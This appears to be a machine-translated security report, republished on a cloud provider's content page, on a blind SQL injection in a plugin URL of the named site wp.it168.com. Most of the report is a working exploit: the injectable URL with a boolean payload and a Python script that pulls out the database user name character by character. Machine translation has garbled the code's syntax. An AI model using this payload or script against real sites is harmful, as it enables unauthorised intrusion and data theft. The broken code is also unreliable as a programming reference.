SQL injection vulnerability in an important IT168 site)

Source: Internet
Author: User

SQL injection vulnerability in an important IT168 site)

An important website in IT168 has the SQL Injection Vulnerability (script attached)

Http://wp.it168.com/plugin.php? Fid = & filter = 1 & id = waterfall: threads & loads = 1 & orderby = 1 & page = & typeid = 1) and length (user ()) = 23 and (1 = 1
True:

False:

The length of the user is 23:


# Encoding = UTF-8
Import httplib
Import time
Import string
Import sys
Import random
Import urllib
Headers = {'content-type': 'application/x-www-form-urlencoded '}
Payloads = list (string. ascii_lowercase)
For I in range (0, 10 ):
Payloads. append (str (I ))
Payloads + = ['@', '_', '.', '-', '\', '']
Print 'try to retrive user :'
User =''
For I in range (1, 24 ):
For payload in payloads:

Conn = httplib. HTTPConnection ('wp .it168.com ', timeout = 3)

S = "/plugin. php? Fid = & filter = 1 & id = waterfall: threads & loads = 1 & orderby = 1 & page = & typeid = 1) and ascii (mid (user () from (% s) for (1) = % s and (1 = 1 "% (I, ord (payload ))
S = urllib. quote (s ,'?, = ,&,/')
Conn. request (method = 'get', url = s,
Headers = headers)
Html_doc = conn. getresponse (). read ()
Conn. close ()
Print '.',
# Print html_doc
If html_doc.find ('123')> 0: # True
User + = payload
Print '\ n [in progress]', user
Break
Print '\ n [Done] User is:', user

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.